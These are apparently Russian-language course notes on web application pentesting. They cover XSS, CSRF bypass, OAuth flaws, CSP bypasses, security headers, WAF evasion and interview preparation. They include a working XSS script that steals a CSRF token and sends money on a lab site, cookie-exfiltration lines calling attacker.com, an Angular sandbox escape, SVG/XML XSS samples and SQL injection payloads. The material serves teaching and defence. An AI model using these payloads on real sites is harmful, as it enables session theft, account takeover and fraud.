3 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part3.html

XSS

## Другие важные аспекты оценки XSS:

- Требует ли действий от пользователя?
- Может ли пользователь подвергнуться атаке при типовой работе с веб-приложением?

## Self XSS

Так называют случай, когда атакующий может вызвать XSS только для себя.

Например хранимая XSS на странице профиля пользователя. Эту страницу не могут увидеть другие пользователи, а значит провести XSS на них атакующий не сможет.

## Методология XSS
**Ручной поиск** - отмечаем все инпуты (входные точки, которые в другом месте рефлектятся) имя пользователя - добавляем вектор.


**Автоматический** - < img src='http://<your_colaborator'>

И потом ходим по всем страницам и смотрим что существует.
Внимательность - Интуиция - Логика

## XSS Эксплуатация

XSS

## Кража Cookies
Позволяет имперсонировать пользователя, можем вставить в браузер и войти под пользователем.

Кука не будет доступна из javascript
**HttpOnly**

Javascript не имеет доступа к Cookie, если они помечены флагом **HttpOnly**.

http://csr8.psorokin.ru:8142

`document.children[0].innerHTML='<img src="https://emanatingjoy.files.wordpress.com/2011/10/path.jpg">'`

**Подмена утентификационной формы**


Это не отработает, так как длина не соответствует.
Сохраняем этот код на сервере в файлике

Добавили action - Мы с помощью джава скрипта заменили дом-дерево и пользователь ввел свой логин и пароль, мы его перехватили

XSS

Кража Cookies

Запросы с Cookie жертвы можно принимать на:

- веб-сервер
- Request Bin
- Burp Collaborator

## XSS Модификация DOM

Модификация DOM

Дефейс
Поддельная форма аутентификации

## XSS Обход защиты от CSRF

- Отправляем запрос на страницу, где хранится CSRF-токен
- Читаем CSRF-токен из ответа (SOP не мешает)
- Отправляем нужный запрос с подставленным токеном

http://csr8.psorokin.ru:8142/login.php
Во второй вкладке зарегали пользователя victim

CSRF token получаем
Извлекаем токен с помощью джава скрипта

Самый правильный способ - с помощью регулярки
В джава регулярки пишутся в слешах и ""

Можем использовать СSRF token для отправки денег другому пользователю

Относительная адресация в вебе, по этому /send.php (браузер добавит сам текущий ориджин)
Если 2 слеша - то будет использоваться текущая схема.


Это самое опасное в xss -

XSS - Steal money
201
Обойдите защиту от CSRF с помощью XSS и украдите деньги у преподавателя (хотя можно и не только у него ;) )
http://csr8.psorokin.ru:8142

Нужно получить баланс >=200

<script> 
x = new XMLHttpRequest();
x.open("GET","/send.php",false) ;
x.send();
csrf = x.responseText.match(/csrf_token" value="(.*?)"/)[1];

y= new XMLHttpRequest();
y.open("POST","/send.php",false);
y.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
y.send("to=bee&amount=155&message=12234&csrf_token="+csrf);
</script>

hackeru{1qaz2wsx3edc}

## Upload XSS

Upload XSS

Загрузка некоторых типов файлов может привести к выполнению javascript-кода и, соответственно, возможности XSS.

## Upload XSS

Браузер обрабатывает переданные ему данные на основании Content-Type, расширение файла в запросе его не интересует.

Однако веб-сервер при отдаче пользователю файлов проставляет Content-Type на основании расширения.
(cтатику раздает веб-сервер) По таблице, которая хранится на сервере - возвращает **content-type**

.html - обычно запрещен к загрузке

## SVG XSS
(векторная графика) тут описано как картинка устрена и это xml документ. Зачастую разработчики загружают файлы на основе фреймворком, и эта проверка пропускает svg&

<?xml version="1.0" standalone="no"?> 
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" onload="javascript:alert(1)"> 
<rect x="0.5cm" y="0.5cm" width="2cm" height="1cm"/> <script>alert(2)</script> 
</svg> 


## XML XSS
тоже приводит к xss

<?xml version="1.0" encoding="UTF-8"?> 
<response> 
<foo> 
	<html xmlns:html="http://www.w3.org/1999/xhtml"> 			<html:script>alert("XSS");</html:script> 
	</html>
 </foo>
 </response> 


## Исследование

Замечательное исследование о работе разных веб-серверов с разными типами загруженных файлов и тем, что атакующий может с этим сделать.

https://mike-n1.github.io/ExtensionsOverview

## Защита от Upload XSS

- Белый список разрешенных к загрузке файлов
- Заголовок Content-Disposition: attachment.

Браузер не отображает на прямую, он просто скачивает файл.

**А вот так будет работать просто открытие картинки/файла, а не скачиваться**

Задания

на CTFd (http://psorokin.ru)
тест для самопроверки в LMS

# Занятие 15. Content Security Policy. Security Headers.
Вторник, 06 сентября 2022г., с 19:00 до 22:00 (МСК)
Проверка Content Security Policy, Client-Side Template Injection, укрепления безопасности заголовками, описание уязвимостей

https://hackmd.io/fwkE5Y7-QBqQw1zOjtNaaw

Web App Pentest

# OpenID / OAuth / CSP / Security Headers

Вопросы по заданиям?

## OpenID / OAuth

Протоколы аутентификации и авторизации.

OpenID - позволяет делегировать аутентификацию сторонним сервисам
OAuth - позволяет другим приложениям получить доступ к данным пользователя с разграничением доступа (авторизация).

Ссылки:

https://auth0.com/intro-to-iam/what-is-openid-connect-oidc/
https://auth0.com/intro-to-iam/what-is-oauth-2/


**Базовый флоу**
Сlient App - хочет получить авторизацию
Autorization Server - это гугл и тд

## Проблемы OpenID/OAuth

Это сложные протоколы, в реализации которых можно допустить множество ошибок.

**Рассмотрим одну проблему:**

- отсутствие проверки redirect_uri
- Отсутствие проверки state
Подробнее: https://portswigger.net/web-security/oauth
И тут: https://livebook.manning.com/book/oauth-2-in-action/chapter-7/ (более полная книга)

## Отстутствие проверки redirect_uri

В используется для возврата code приложению клиента.

Сервер OAuth/OpenID должен проверять что переданный redirect_uri соответствует redirect_uri, использованному при регистрации клиента.

Отсутствие такой проверки позволяет перехватить аутентификационные коды и захватить аккаунты пользователя.

Пример - Portswigger Academy: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri

какое приложение хочет получить креды
**redirect_uri** - куда будет перенаправлен пользователь после авторизации
scope - какие права заправшивает приложение
authorization code - одноразовый
token - многоразовый

Хакер может поймать авторизейшн code - и зайти на ресурс от имени пользователя(можем заставить пользователя перейти по ссылке)


Редиректит с авторизейшн кодом
"Админ войдет по нашей ссылке"
Код другого юзера

Зачастую в сетях компании реализуют openID/ oAuth

## Cхема атаки на redirect uri


## Отсутствие проверки state

**Приводит к Login/Logout CSRF.**


Атакующий может получить авторизейшн код у себя. Отправить пользователю ссылку и жертва может залогинится в другой кабинет.
Пример - сбор денег, и деньги автоматом прилетают на счет. Атакующий публикует гайд- как платить, залогинивает пользователя в свой аккаунт. Потому что атакующий залогинил жертву под свой аккаунт.

### Защита.
параметром state - когда пользователь

RFC OAuth

## Content Security Policy

Content Security Policy - политика, созданная для ограничения для эксплуатации XSS

Позволяет веб-приложению определить набор правил, которым будет следовать браузер на текущей странице

Одна из основных целей создания – ограничение возможности эксплуатации XSS

## Content Security Policy

CSP ограничивает:

- возможность атакующего выполнить внедренный код
- возможность атакующего отправлять данные на сторонние ресурсы

Пример yandex или google
Директивы разделяются ;

Самая главная директива - script-src
inline script - скрипты которые подгружены
unsafe-inline
unsafe-eval

## Content Security Policy

script-src

Говорит браузеру откуда можно подгружать скрипты

unsafe-inline - разрешает использование inline-скриптов
unsafe-eval - разрешает использование eval

атакующий хочет обойти unsafe-inline

## Content Security Policy

img-src, font-src, style-src и т.д. - ограничивает атакующему

Говорит браузеру откуда можно подгружать соответствующие ресурсы

Ограничивает возможности атакующего по передаче данных на другие домены

img = new Image(); img.src=”http://attacker.com/?x”+document.cookie;
Не сработает, если attacker.com не в img-src. (пример Банк Нолик).

## Content Security Policy

default-src

Эта директива используется, когда для типа ресурса конкретной директивы не объявлено.


перехват запроса

ЧТо будет в бращуере
Ни один из скриптов не выполнился
Что то не загрузилось, но тем не менее эксплойты сработали

Мы не можем запустить такую картинку

Здесь может быть добавлено хранилище скриптов старых

## Content Security Policy

В репозиториях скриптов могут быть старые уязвимые версии скриптов, которые позволяют выполнить XSS в обход ограничений CSP.
Можно загружать скрипты с самого себя, ajax.google

## Content Security Policy

**Автоматизированная проверка корректности настройки CSP:**
https://csp-evaluator.withgoogle.com/

практически через все ангуляры можно добится выполнения скрипта
он использует загрузку скрипта с googla
(тут используется побег из песочницы ангуляра)


## CSTI - Обход unsafe-inline

Client-Side Template Injection

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js">
</script> 
<div ng-app> 
    {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
<Пример с angular>

## CSTI - Обход unsafe-inline

Варианты для разных версий angular

https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs

или тут https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

## Обходы отправки данных CSP

- системы аналитики - можно зарегистрироваться в них и отправлять в свою кампанию (яндекс метрики)
- если есть google.com или yandex.ru, то можно отправлять в Google/Яндекс формы
- если в приложении есть сообщения или заметки, то отправлять наружу и не требуется (шлем от имени польз данные хакеру)
- CSP не запрещает редирект
window.location='https://attacker.com/?'+document.cookie

## Обходы CSP

Ссылка: https://blog.deteact.com/csp-bypass/

На собесах про ЦСП - будут спрашивать как обходить, base uri, jsonPi способ обхода (инъектим свой код), способ обхода через angular

## Заголовки безопасности

Заголовки безопасности

Есть ряд HTTP-заголовков, передаваемых серверной частью, которые меняют поведение браузера и могут быть использованы для укрепления безопасности

## X-Frame-Options

Определяет в каких случаях страница может быть загружена во фрейм. Предотвращает Clickjacking атаку.

Значение параметра Содержание

**SAMEORIGIN** Позволяет загрузку контента в frame/iframe только если фрейм и страница, его загружающая, расположены на одном origin.
**DENY** Запрещает загрузку контента в frame/iframe.
**ALLOW-FROM** Допускает загрузку контента в фреймах только для определенного origin. (для защиты от социалок).

**FRAME ANCESTORS**

## X-XSS-Protection
attack

Директива для встроенных в браузеры XSS фильтров.

Безопасное значение:
**X-XSS-Protection: 1;mode=block**
Cейчас ставят в значение 0 ( в некоторых гайдах рекомендация)

## X-Content-Type-Options

Некоторые браузеры осуществляют автоматическое определение Content-Type и обрабатывают страницу соответствующим образом.

В некоторых случаях это может привести к XSS или обходу CSP.

**X-Content-Type-Options: nosniff**
предотвращает такое поведение ( нужны конкетные контент-тайпы) Важен для страниц, которые отдают пользовательские загруженные данные/файлы

## Strict-Transport-Security

Однажды полученный браузером такой заголовок в дальнейшем запрещает переход по ссылкам http://origin. При указании http:// совершается автоматический переход на https://origin.

Блокирует возможность чтения трафика пользователя и атак **Man-in-the-Middle**.
Так же запрещает самоподписанные сертификаты.

Максимально в течении какого премени браузер будет ходить по https.

## Cookie Security

Cookie Security

При работе с Cookie нужно помнить что:

- Cookie устанавливаются на **домен**, а не на origin. Браузер имеет отдельное хранилище куки в домене.
- Cookie могут отправляться на поддомены
- Поддомены могут устанавливать Cookie для родительского домена

## Cookie устанавливаются на домен, а не на origin

Взлом ресурса на том же домене, но на другом порту (http://example.com:8080) приводит к компрометации Cookie ваших пользователей.
Если не укажем secure cockie attribute то полетит по http & https.
А так полетит по HTTPS. зашита от атаки man-in-the-middle.

**Не нужно иметь больше одного приложения на 1 домене.** По портам нельзя приложение делить. ЧЕм изолированней - тем безопаснее.

## Cookie устанавливаются на домен, а не на origin

Internet Explorer имеет особую реализацию SOP - он не считает что port - это часть origin. То есть атака XSS на http://example.com:8080 автомтически расширяется и на http://example.com для пользователей IE.

## Cookie могут отправляться на поддомены

Cookie могут быть установлены двумя способами:

- .example.com
- example.com

Первые полетят на поддомены, вторые нет.

## Cookie могут отправляться на поддомены

Взлом поддомена http://wordpress.example.com приводит к компрометации ваших Cookie.

Также нередка ситуация когда поддомен отдают не очень надежному контрагенту. Он также может воровать Cookie ваших пользователей.

## Поддомены могут устанавливать Cookie для родительского домена

XSS на поддомене http://evil.example.com приводит к возможности установки Cookie для родительского домена http://example.com.

Браузер будет отправлять обе Cookie, веб-приложение будет принимать либо первую либо последнюю. Атакующий имеет ограниченную возможность контроля порядка отправки Cookie.

Установить куку - чере джвава скрипт , если взломали сервер, то через set-coockie


Поддомены могут устанавливать Cookie для родительского домена

Соответственно атакующий получает:

logout пользователя
login в свой аккаунт

## SameSite не работает для поддоменов

Если вы делаете защиту от CSRF с помощью SameSite и при этом у вас есть домен blog.company.com, который делегирован аутсорсинг WordPress компании, то если этот blog поломают или найдут в нем XSS, то можно будет CSRF-ить ваших пользователей.

# 16 занятие
https://hackmd.io/gN4cIcmlTKqfF31Rsh6WNw

Web App Pentest
## Interview + Bonus

Описания уязвимостей ?

## Interview

## Собеседование пентестера

Основная часть:

- внешний (основной)
- веб (основной)
- внутренний (основной)
- мобилки(?)
- анализ кода
- общие технические вопросы

## Структура

- Вопрос об общем подходе - что будешь делать(систематизированные знания)
- Вопросы про уязвимости, способы обнаружения и техники эксплуатации
* Причем это не только для веба

## Общий подход тестирования веб-приложений
(высокоуровневая методика)

- Ознакомиться с функционалом (изучил, понажимал на кнопки, с чем имеешь дело - разведка), как устроен роутинг
-- Составить в голове возможные проблемы и риски
- Собрать информацию о технологиях
-- wappalyzer
-- сообщения об ошибках (вызываем ошибки, посмотрим 404, укажем массив вместо параметра)
- Изучение поверхности атаки
-- dirsearch
-- Изучение API/анализ js/kiterunner (спрашивают - а какие листы используешь для дирсерча)
- Анализ важных и часто уязвимых компонентов приложения
-- Аутентификация и сессии(jwt)
--- Регистрация (как устроен user enumeration)
--- Восстановление доступа
--- OTP (можно ли брутить)
-- Ролевая модель
-- Загрузка файлов
-- Фильтры и сортировка в запросах данных (скорее всего скули возникают там)
-- Оценка защиты от CSRF (понять скособ защиты)
-- Оценка CSP и других заголовков безопасности
- Ручной поиск уязвимостей
-- попытка вызвать ошибки
--- кавычки
--- подмена типов данных (массивы, строки вместо чисел или наоборот) неожиданное поведение приложения в типовых местах
-- подстановка XSS векторов (пост, url подставлять в неск страницах)
-- использование интуиции и опыта
-- поиск IDOR и IFLAC (использовать данные одной учетки в другой учетки)
- Дальше много если
-- если есть указание ссылок, то проверим:
--- SSRF
--- XSS
-- если есть загрузка XML:
--- XXE
-- если есть генерация PDF:
--- PDF rendering issues
-- если есть загрузка архивов:
--- zip slip
--- symbolic link issue
- Сбор входных точек и автоматический поиск уязвимостей
-- пассивно + dirsearch сбор
-- сканер бурпа (паша считает что его достаточно)

**Низкоуровневая методология**
https://owasp.org/www-project-web-security-testing-guide/stable/

Компании пентестеров


## Про уязвимости

В понимании уязвимости есть некоторый уровень. Его нужно выявить.

Начинаем с основы и идем в глубь

## Про уязвимости веба

Серверная часть:

- SQLi (как узнать кол-во столбцов - order by, кол-во колонок - null), error-based вывод ошибки с полезной информацией, blind - написание брутеров, хорошо ли понимает человек как под капотом работает sqlmap, в каких субд можно добится RCE. Должны быть привилегии и должно быть stect queries. - верно для всех сценариев. **Плохие ответы** - sqlmap,
- XXE (с выходом в SSRF)
- десериализация
- SSTI/Prototype Pollution

Клиентская часть:

- CSRF (same-origin-policy)
- XSS (что это и чем опасно)
- CSP (зачем надо, как мешает и парочку байпасов)

## Баланс теория- инструменты (лучше знать теорию)

## Общие технические вопросы
(базовые технические навыки и знаний)
- сети (мы поломали тачку во внешке, прокинули сокс-прокси, мы знаем во внутр сети сервер, мы пытаемся его пинговать , но не пингуется, почему? потому что пинг работает по ismp, а сокс работает по tcp)
- криптография (проломили веб сервер и нашли серт https, что можем с ним делать - ничего)

## “Хакерское мышление”

Навык находить неожиданные и нестандартные пути, для использования стандартных путей.

Требует технической эрудиции и понимания работы систем.

## Web Cache Deception

Атакующий может заставить кеширующий сервер закешировать конфиденциальную информацию. Кеширующий сервер не реализует контроль доступа и отдаст закешированную информацию любому кто за ней обратится.

Причиной является некорректная конфигурация кеширующего или/и веб-сервера.

Проблема как апач обрабатывает запросы

squid - название реализации хэширующего прокси

Сценарий атаки
Мы можем прочитать отввет , предназначенный другому пользователю с кеша.
http://csr8.psorokin.ru:8161/

## Матрица компетенций
https://docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec/edit#gid=141308356
https://docs.google.com/spreadsheets/d/1yrQRyYS7Li3UpDwJoRqJ7uxD0g-ctm3I9-o-jHgzymg/edit#gid=0

## Книга по вебу
The Tangled Web
Подробнее: https://www.securitylab.ru/blog/personal/amatrosov/20684.php?ysclid=l7tef5d85v275732802

## Что можно еще изучить по безопасности веба:

- NoSQL Injection (mongo)
- LDAP Injection
- GraphQL и связанные с ним проблемы
- OAuth2/OpenID и связанные с ними проблемы
- HTTP Parameter Pollution
- Request Smuggling
- Response Splitting
- Web Sockets security
- Post message security
- PHP disable functions evasion
- PHP Phar Deserialization
- Blind SSRF techniques
- Dom Clobbering
- WAF Bypasses
- Cross-Site Script Include (XSSI)
- Session Fixation
- XPATH Injection

Еще ссылки:
https://github.com/BlackFan/content-type-research
https://docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec

# Обход WAF
https://hackmd.io/E8BBeWZHTruOYgDciwnX6Q

## WAF bypass

WAF bypass

Можно разделить на:

application specific
inconsistency

## WAF bypass - application specific

Приложение может принимать данные в виде, который WAF не ожидает:

$param = base64_decode(base64_decode($_GET['x']));
$query = "SELECT * FROM table where id='$param'";
WAF bypass - application specific

## Double urlencode:

$param = urldecode($_GET['x']);
$query = "SELECT * FROM table where id='$param'";
WAF bypass - inconsistency

Идея - добиться того, чтобы WAF проанализировал данные одним способом и не заметил атаки, а веб-приложение другим и было подвержено атаке.

Есть несколько вариантов:

Content-Type inconsistency
multipart/form-data trics
HTTP Parameter Pollution
Transfer Encoding/Content-Length

## Content-Type inconsistency

Веб-приложение может игнорировать заголовок Content-Type. Например, оно всегда берет body запроса целиком и декодирует его как JSON.

При этом WAF может реагировать на Content-Type и пытаться парсить данные в соответствии с ним.

POST /example HTTP/1.1
Host: example.com
Content-Type: text/xml

{"param1":"' union select 1,2,3 -- '"}
multipart/form-data trics

Исследование BlackFan https://github.com/BlackFan/content-type-research

## HTTP Parameter Pollution

`http://example.com/?param=fefefe&param=' union select 1 -- `

Идея - WAF увидит первый параметр, а веб-приложение воспользуется последним

https://en.wikipedia.org/wiki/HTTP_parameter_pollution

## Transfer Encoding vs Content-Length


Transfer Encoding vs Content-Length

POST / HTTP/1.1
Host: company.com
Content-Type: text/plain
Transfer-Encoding: chunked
Content-Length: 31

0

fefe=' union select 123 --